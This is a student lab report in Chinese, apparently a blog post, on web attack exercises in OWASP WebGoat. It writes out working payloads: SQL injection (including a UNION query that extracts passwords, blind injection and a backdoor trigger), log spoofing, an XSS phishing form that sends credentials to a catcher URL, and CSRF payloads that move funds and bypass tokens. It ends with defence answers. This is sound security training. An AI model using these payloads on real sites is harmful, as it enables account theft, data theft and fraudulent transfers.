网络对抗 Exp9 Web安全基础 20154311 王卓然

Exp9 Web安全基础

1. 实验内容

理解常用网络攻击技术的基本原理。Webgoat实践下相关实验。

2.实验步骤

WebGoat

WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入等,我们这次实验的内容就都是在Webgoat上进行的。

在网上down一个Webgoat,拖到Linux里,使用指令 java -jar 文件名 启动(在此之前最好更新下JDK环境,Kali自带的好像不行,由于我下的8.0版本的Webgoat就需要JDK1.8环境 )。

WebGoat    JDK

Webgoat使用的是8080号端口,安装好后就可以在浏览器里输入 localhost:8080/WebGoat 访问,当然在此之前最好检查一下8080号端口是否被占用。

在登录界面可以先自己注册个帐号登录。

进去之后就可以看到左边一排可以点开的都是能做的相关Web攻击练习。

由于后面的大部分实验都需要修改网页原代码,然而8.0版本我一按F12就卡半天,(不知道什么原因),burpe suite也是,于是就重下了个7.1版本的进行,7.1版本的可以不用注册,使用首页下面两个默认帐号就能登录。

使用指令开启到这就能打开网页了。

 

Injection Flaws

1、String SQL Injection——8.0版本

通过输入用户姓名可以获取数据库中对应的数据信息。

输入永真式 ' or 1=1 --,就能获得所有用户数据。

2、Numeric SQL Injection——8.0版本

 与上面相似,通过输入用户ID获取对应的用户数据。

在ID后面加个永真式 or 1=1,即可获得数据库内的全部信息。

 

3、Pulling data from other tables——8.0版本

随意输入一个用户查询其相关信息,老样子我找Smith,可以发现这个表里有7个参数。

 

输入 Smith' union select null,null,null,null,null,null,null from user_system_data -- 联合查询判断数据回显列位置。

输入 Smith' union select null,user_name,password,null,null,null,null from user_system_data -- 就能获取所有用户的密码。

验证成功!

4、Log Spoofing——7.1版本

这题是可以通过语句来伪造日志,以此达到欺骗的目的,输入语句 20154311%0d%0aLogin Succeeded for username: admin (%0d是回车%0a是换行)显示如下。

可以成功的在日志文件中注入一条登录成功的讯息,但攻击性不强,可以换成JS代码进一步攻击 admin<script>alert(document.cookie)</script>。

5、XPATH Injection——7.1版本

跟SQL注入类似,只不过对象变为XML数据,同样构造永真式 20154311' or 1=1 or 'a'='a ,密码随意,就得到所有人的数据。

6、LAB: SQL Injection——7.1版本

阶段1:String SQL Injection

使用SQL绕过认证,在密码处输入永真式发现长度被固定了,F12查看网页源代码,搜索password在第五个结果处对应此处的password发现限制长度为8,修改为大一点的值,再次输入永真式。

 登录成功。

这里我选择的是Larry所以登录后只能查看到她的个人信息,如果一开始选择BOSS的帐号登录的话就能看到所有人的信息了。

阶段3:Numeric SQL Injection

同上,注入SQL绕过认证,使普通用户浏览的无法浏览的信息,先登录Larry用户,可以用上个步骤的方法。

 

在图中value处101后面添加永真式,同时为了显示老板的工资,并且老板的工资应该是最高的可以进行排序,因此添加语句 101 or 1=1 order by salary desc 。

 查询老板工资成功。

7、Database Backdoors——7.1版本

可以先输入用户ID查询其原来的信息。

注入修改语句 101; update employee set salary=20154311 就能修改工资。

输入语句 101;CREATE TRIGGER BackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20154311@qq.com' WHERE userid = NEW.userid 注入数据库后门,功能是会在新的用户注册时自动将其邮箱更改为我们输入的固定邮箱。

8、Blind Numeric SQL Injection

有些时候存在SQL注入,但是获取不到我们需要的信息,此时可以通过SQL的查询语句不断尝试注入最终获得我们想要的信息。

输入语句 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 )  查询,提示账户无效,开始修改范围,不断缩小。

 

大于2000时提示有效,也说明确实存在这个101账户。

最后试出来为2364.。

 

9、Blind String SQL Injection

与上面类似,最大的不同是要查询的字段是一个字符串而不是数值。因此我们同样可以通过注入的方式查找到该字段的值,并且需要尝试不同位置上的字符是否符合再进行下一个字符的盲注。

使用语句 101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' ) 查询第一个字符。

使用语句 101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'H' ) 查询第二个字符以此类推。最后查询出来为Jill。

Cross-Site Scripting (XSS)

1、Phishing with XSS——7.1版本

题目要求是关于一个页面中存在XSS漏洞时,他如何支持钓鱼攻击。要求我们利用xss和html注入达到这些目标。

使用XSS和HTML插入制作一个钓鱼网站,代码如下:

</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br><br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>

成功获取帐号密码。

2、Stored XSS Attacks——8.0版本

这是一种很典型的储存型XSS的例子,也很简单,在留言框里输入任意JS代码,提交后这段代码会被存储到Web后台服务器,当有用户浏览该帖(或者说打开留言存在的当前页面),这段代码就会被解析并执行,比如输入 <script>alert("20154311 攻击成功!");</script> 效果如下。

 

3、Reflected XSS Attacks——8.0/7.1版本

同上面一个有点儿类似,这是一个反射型XSS攻击,漏洞在交互输入的位置,也就是说我们可以在密码位置输入JS代码 <script>alert("20154311 攻击成功!");</script> ,然而并没有看到我的代码执行,但这题还是完成了,也成功购买了?!啥情况,仔细看会发现提交订单时总金额显示还是0,但提交完以后在最下面的成功购买的地方又会显示正常的金额,研究了半天好像用他自己默认的数据随便点下purchase和updatecart也都能完成任务~~~,可能是这个版本的Webgoat在这题上出BUG了,哈哈~~~

虽然这个效果和上一个存储型XSS实验的效果类似,但是两者所用的原理不一样,存储型XSS是持久化的,代码是存储在服务器中,而反射型XSS攻击是非持久化的,代码不会上传到服务器里,需要欺骗用户自己去点击链接才能触发XSS代码,比如发送包含链接邮件,所以一般来说存储型XSS攻击危害更大。

由于8.0版本没做成功换成在7.1上再做一遍,成功,而且这里居然不支持中文,估计原网页代码里没加格式支持。

CSRF

1、Cross Site Request Forgery(CSRF)

 题目要求写一个URL诱使其他用户点击,从而触发CSRF攻击. 我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。

 先查看参数(Parameters)一栏中的Scr和menu的值。

在内容出输入语句 <img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=88888888"/> 功能是转账(偷钱来了)以图片的形式存储。

点击提交后在下方出现讯息。

此时已经完成攻击操作了。

2、CSRF Prompt By-Pass

基本同上一个一样,这次多一个确认的操作,在内容栏里输入

<iframe src="http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=400" id="myFrame" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300" onload="document.getElementById('frame2').src='http://localhost:8080/WebGoat/attack?Screen=1471017872 &menu=900&transferFunds=CONFIRM';"> </iframe> <iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"> </iframe

提交后,打开消息,下方有确认和取消的按钮,单击确认完成操作。

操作完成。

 

CSRF Token By-Pass

仍是一样的,这次多了口令验证。

在内容处输入代码:

<script> var tokensuffix; function readFrame1() { var frameDoc = document.getElementById("frame1").contentDocument; var form = frameDoc.getElementsByTagName("form")[0]; tokensuffix = '&CSRFToken=' + form.CSRFToken.value; loadFrame2(); } function loadFrame2() { var testFrame = document.getElementById("frame2"); testFrame.src="attack?Screen=803158781&menu=900&transferFunds=88888888" + tokensuffix; } </script> <iframe src="attack?Screen=803158781&menu=900&transferFunds=main" onload="readFrame1();" id="frame1" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"></iframe> <iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"></iframe>

提交后,点开生成的消息,能看到如下页面,单击submit query。

 

 完成操作。

3.问题回答

(1)SQL注入攻击原理,如何防御

    • 原理:利用未过滤/未审核用户输入的攻击方法,即让应用运行本不应该运行的SQL代码。如果应用毫无防备地创建了SQL字符串并且运行了它们,就会造成一些出人意料的结果。

    • 防御:
      1、对输入的数据进行过滤,过滤掉敏感字符。加密数据库。
      2、限制输入的长度、检查输入变量的数据类型,限制特殊字符的输入。

(2)XSS攻击的原理,如何防御

    • 原理:攻击者利用网站漏洞,输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。

    • 防御:
      1、在服务器段限制输入格式,输入类型,输入长度以及输入字符
      2、对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。

(3)CSRF攻击原理,如何防御

    • 原理:
      跨站请求伪造,攻击者通过伪造身份等方式来达到一些非法目的,以你的名义来发送恶意请求。
    • 防御:
      使用验证码,表单中附加随机值,以此来防止冒充,用户在浏览其它站点前登出站点;在浏览器会话结束后清理浏览器的cookie;尽量不要在页面的链接中暴露用户隐私信息;避免全站通用的cookie,严格设置cookie的域。

4.实验总结与体会

 这次实验是让我们在webgoat上练习各类关于web中可以利用到的漏洞进行攻击,有很多例子供我们学习,不过可能是过程过于简单,激不起挑战的热情,总感觉缺少点儿成就感,不过另一方面也确实提醒了我们,浏览网页的时候需要十分小心,别一不小心就泄漏了自身的秘密,对一些陌生的链接,表单什么的要格外注意小心,创建网站不是一个轻松的活儿啊,要考虑的东西太多了。

posted @ 2018-05-23 14:22  20154311王卓然  阅读(225)  评论(0编辑  收藏